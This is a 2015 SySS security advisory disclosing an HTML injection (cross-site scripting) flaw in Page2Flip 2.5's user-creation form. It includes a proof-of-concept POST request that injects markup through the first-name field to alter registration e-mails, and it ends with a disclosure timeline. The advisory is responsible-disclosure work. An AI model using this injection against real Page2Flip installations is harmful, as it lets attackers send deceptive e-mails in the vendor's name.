Page2Flip 2.5 Cross Site Scripting

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Advisory ID: SYSS-2015-027  
Product: Page2Flip  
Vendor: w!ssenswerft GmbH  
Affected Version(s): Premium App 2.5, probably also in Business App   
and Basic App, and in lower versions  
Tested Version(s): Premium App 2.5  
Vulnerability Type: Cross-Site Scripting (CWE-79)  
Risk Level: Medium  
Solution Status: Open  
Vendor Notification: 2015-06-29  
Solution Date:   
Public Disclosure:   
CVE Reference: Not yet assigned  
Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)  
  
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Overview:  
  
With the Page2Flip Web application, it is possible to create e-papers in  
PDF format that can be flicked through digitally. Such e-papers can be  
used for magazines, catalogues, flyers, etc. (see [1]).  
  
The Page2Flip application is vulnerable to HTML injection attacks. This   
allows users to send e-mails with almost any content to another user in   
the name of the Page2Flip team.  
  
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Vulnerability Details:  
  
The SySS GmbH identified a vulnerability in the "create user"   
functionality of the Page2Flip application.  
  
At least the parameters "first name" and "last name" are not sanitized  
sufficiently resulting in the possibility to inject arbitrary HTML code  
that changes the content of the "your registration" e-mail. This HTML  
e-mail is sent to the given e-mail address of a newly created user  
account.  
  
The described cross-site scripting vulnerability can be exploited in the  
context of an authenticated administrative user and allows an attacker  
to send an e-mail with almost any content in the name of the Page2Flip  
team to the victim.  
  
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Proof of Concept (PoC):  
  
The following HTTP POST request using the HTML code   
"<div+style="display:none;">" as the value for the parameter "nachname"  
demonstrates that HTML code can be injected:  
  
POST /settings/users HTTP/1.1  
Host: [host]  
Faces-Request: partial/ajax  
Content-Type: application/x-www-form-urlencoded;charset=UTF-8  
Content-Length: 1198  
Cookie: [cookies]  
  
accountEditForm=accountEditForm&javax.faces.ViewState=4267992298149872508%3A938284134061579979&ice.window=9aibbsfanj&ice.view=vvgml70uz&accountEditForm%3Aanrede=xxx&accountEditForm%3Avorname=%3Cdiv%20style%3D%22display%3Anone%3B%22%3E&accountEditForm%3Anachname=xxx&accountEditForm%3Aemail=xxx&accountEditForm%3Apassword=xxx&icefacesCssUpdates=&javax.faces.source=accountEditForm%3AsubmitBtn%3AsubmitBtn&javax.faces.partial.event=click&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&ice.window=9aibbsfanj&ice.view=vvgml70uz&ice.focus=accountEditForm%3AsubmitBtn%3AsubmitBtn&accountEditForm%3AsubmitBtn%3AsubmitBtn=Save&ice.event.target=accountEditForm%3AsubmitBtn%3AsubmitBtn&ice.event.captured=accountEditForm%3AsubmitBtn%3AsubmitBtn&ice.event.type=onclick&ice.event.alt=false&ice.event.ctrl=false&ice.event.shift=false&ice.event.meta=false&ice.event.x=1251&ice.event.y=780&ice.event.left=true&ice.event.right=false&ice.submit.type=ice.s&ice.submit.serialization=form  
&javax.faces.partial.ajax=true  
  
  
The HTML e-mail source code of the resulting e-mail of the PoC contains  
the following HTML code  
  
Hello <div style="display:none;"> xxx <br>   
  
rendering all subsequent automatically added content invisible.  
  
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Solution:  
  
  
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Disclosure Timeline:  
  
2015-06-23: Vulnerability discovered  
2015-06-29: Vulnerability reported to vendor  
2015-07-07: Reported vulnerabilities again as the vendor did not respond   
to the first e-mail  
2015-07-14: Reminder sent concerning reported vulnerabilities  
2015-08-24: Public release of security advisory according to the SySS  
Responsible Disclosure Policy  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Page2Flip homepage  
http://page2flip.de/  
[2] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Dr. Erlijn van Genuchten of the  
SySS GmbH.  
  
E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc  
Key ID: 0xBD96FF2A  
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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